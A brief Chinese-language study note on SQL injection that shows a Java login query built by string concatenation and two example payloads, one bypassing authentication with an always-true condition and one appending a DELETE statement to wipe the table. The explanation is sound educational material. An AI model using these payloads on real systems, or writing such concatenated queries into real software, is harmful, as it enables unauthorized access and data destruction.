1.查找sql注入,一般用于登录界面。 拼接sql语句: String sql = "SELECT * FROM student where username ='"+username+"' AND password = '"+password+"';" //AND 运行优先级高于 OR 注入sql语句: username = "123"; password = "'or '1'='1"; SQL最终语句: SELECT * FROM student where username ='123' AND password = '' or '1'='1'; 因而可以将所有数据查出,造成登录成功。 2.在查询操作中插入删除操作。 拼接sql语句: String sql = "SELECT * FROM student where username ='"+username+"' AND password = '"+password+"';"
注入sql语句: username = "123"; password = "'; DELETE FROM student where '1'='1" SQL最终语句: SELECT * FROM student where username ='123' AND password =''; DELETE FROM student where '1'='1'; 注:该操作是批处理操作,但是java 中mysql执行方法execute不支持此操作。